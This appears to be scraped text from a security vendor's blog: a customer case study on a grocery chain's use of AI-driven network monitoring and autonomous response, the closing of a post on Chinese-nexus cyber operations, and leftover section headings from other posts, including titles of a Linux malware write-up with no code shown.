This has impact beyond the Security Operations Center. Organizations need to shift how they think about governance, visibility, and resilience, and treat cyber exposure as a structural business risk instead of an incident response challenge.

What comes next

The goal of this research is to provide a clearer understanding of how these operations work, so defenders can recognize them earlier and respond more effectively. That includes shifting from tracking indicators to understanding behaviors, treating identity providers as critical infrastructure risks, expanding supplier oversight, investing in rapid containment capabilities, and more.

Learn more about the findings of Darktrace’s latest research, Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysis, by downloading the full report and summaries for business leaders, CISOs, and SOC analysts here.

About the author

Nathaniel Jones

VP, Security & AI Strategy, Field CISO

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Proactive Security

April 1, 2026

AI-powered security for a rapidly growing grocery enterprise

Protecting a complex, fast-growing retail organization

For this multi-banner grocery holding organization, cybersecurity is considered an essential business enabler, protecting operations, growth, and customer trust. The organization’s lean IT team manages a highly distributed environment spanning corporate offices, 100+ stores, distribution centers and thousands of endpoints, users, and third-party connections.

Mergers and acquisitions fueled rapid growth, but they also introduced escalating complexity that constrained visibility into users, endpoints, and security risks inherited across acquired environments.

Closing critical visibility gaps with limited resources

Enterprise-wide visibility is a top priority for the organization, says the Vice President of Information Technology. “We needed insights beyond the perimeter into how users and devices were behaving across the organization.”

A security breach that occurred before the current IT leadership joined the company reinforced the urgency and elevated cybersecurity to an executive-level priority with a focus on protecting customer trust. The goal was to build a multi-layered security model that could deliver autonomous, enterprise-wide protection without adding headcount.

Managing cyber risk in M&A

Mergers and acquisitions are central to the grocery holding company’s growth strategy. But each transaction introduces new cyber risk, including inherited network architectures, inconsistent tooling, excessive privileges, and remnants of prior security incidents that were never fully remediated.

“Our M&A targets range from small chains with a single IT person and limited cyber tools to large chains with more developed IT teams, toolsets and instrumentation,” explains the VP of IT. “We needed a fast, repeatable, and reliable way to assess cyber risk before transactions closed.”

AI-driven security built for scale, speed, and resilience

Rather than layering additional point tools onto an already complex environment, the retailer adopted the Darktrace ActiveAI Security Platform™ in 2020 as part of a broader modernization effort to improve resilience, close visibility gaps, and establish a security foundation that could scale with growth.

“Darktrace’s AI-driven approach provided the ideal solution to these challenges,” shares the VP of IT. “It has empowered our organization to maintain a robust security strategy, ensuring the protection of our network and the smooth operation of our business.”

Enterprise-wide visibility into traffic

By monitoring both north-south and east-west traffic and applying Self-Learning AI, Darktrace develops a dynamic understanding of how users and devices normally behave across locations, roles, and systems.

“Modeling normal behavior across the environment enables us to quickly spot behavior that doesn’t fit. Even subtle changes that could signal a threat but appear legitimate at first glance,” explains the VP of IT.

Real-time threat containment, 24/7

Adopting autonomous response has created operational breathing room for the security team, says the company’s Cybersecurity Engineer.

“Early on, we enabled full Darktrace autonomous mode and we continue to do so today,” shares the IT Security Architect. “Allowing the technology to act first gives us the time we need to investigate incidents during business hours without putting the business at risk.”

Unified, actionable view of security ecosystem

The grocery retailer integrated Darktrace with its existing security ecosystem of firewalls, vulnerability management tools, and endpoint detection and response, and the VP of IT described the adoption process as “exceptionally smooth.”

The team can correlate enterprise-wide security data for a unified and actionable picture of all activity and risk. Using this “single pane of glass” approach, the retailer trains Level 1 and Level 2 operations staff to assist with investigations and user follow-ups, effectively extending the reach of the security function without expanding headcount.

From reactive defense to security at scale

With Darktrace delivering continuous visibility, autonomous containment, and integrated security workflows, the organization has strengthened its cybersecurity posture while improving operational efficiency. The result is a security model that not only reduces risk, but also supports growth, resilience, and informed decision-making at the business level.

Faster detection, faster resolution

With autonomous detection and response, the retailer can immediately contain risk while analysts investigate and validate activity. With this approach, the company can maintain continuous protection even outside business hours and reduce the chance of lateral spread across systems or locations.

Enterprise-grade protection with a lean team

From cloud environments to clients to SaaS collaboration tools, Darktrace provides holistic autonomous AI defense, processing petabytes of the organization’s network traffic and investigating millions of individual events that could be indicative of a wider incident.

Today, Darktrace autonomously conducts the majority of all investigations on behalf of the IT team, escalating only a tiny fraction for analyst review. The impact has been profound, freeing analysts from endless alerts and hours of triage so they can focus on more valuable, proactive, and gratifying work.

“From an operational perspective, Darktrace gives us time back,” says the Cybersecurity Engineer. More importantly, says the VP of IT, “it gives us peace of mind that we’re protected even if we’re not actively monitoring every alert.”

A strategic input for M&A decision-making

One of the most strategic outcomes has been the role of cybersecurity on M&A. 90 days prior to closing a transaction, the security team uses Darktrace alongside other tools to perform a cyber risk assessment of the potential acquisition. “Our approach with Darktrace has consistently identified gaps and exposed risks,” says the VP of IT, including:

Remnants of previous incidents that were never fully remediated
Network configurations with direct internet exposure
Excessive administrative privileges in Active Directory or on critical hosts

While security findings may not alter deal timelines, the VP of IT says they can have enormous business implications. “With early visibility into these risks, we can reduce exposure to inherited cyber threats, strengthen our position during negotiations, and establish clear remediation requirements.”

A security strategy built to evolve with the business

As the holding group expands its cloud footprint, it will extend Darktrace protections into Azure, applying the same AI-driven visibility and autonomous response to cloud workloads. The VP of IT says Darktrace's evolving capabilities will be instrumental in addressing the organization’s future cybersecurity needs and ability to adapt to the dynamic nature of cloud security.

“With Darktrace’s AI-driven approach, we have moved beyond reactive defense, establishing a resilient security foundation for confident expansion and modernization.”

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Spinning YARN: A New Linux Malware Campaign Targets Docker, Apache Hadoop, Redis and Confluence

Introduction: Linux malware campaign

Summary:

Initial access

Primary payload: cronb.sh

ar.sh

fkoths

s.sh

Initial access and spreader utilities: h.sh, d.sh, c.sh, w.sh

d.sh

h.sh

w.sh

c.sh

Conclusion

Indicators of compromise

Filename SHA256

Paths

IP addresses

Domains/URLs

References:

Phantom Footprints: Tracking GhostSocks Malware

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience

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Blog

Network

April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience

How Chinese-nexus cyber threats have changed over time

How Darktrace analysts took a behavioral approach to a complex problem

What the data shows

Two models of cyber operations

Rethinking cyber risk

What comes next

Blog

Proactive Security

April 1, 2026

AI-powered security for a rapidly growing grocery enterprise

Protecting a complex, fast-growing retail organization

Closing critical visibility gaps with limited resources

Managing cyber risk in M&A

AI-driven security built for scale, speed, and resilience

Enterprise-wide visibility into traffic

Real-time threat containment, 24/7

Unified, actionable view of security ecosystem

From reactive defense to security at scale

Faster detection, faster resolution

Enterprise-grade protection with a lean team

A strategic input for M&A decision-making

A security strategy built to evolve with the business

w.sh 

c.sh 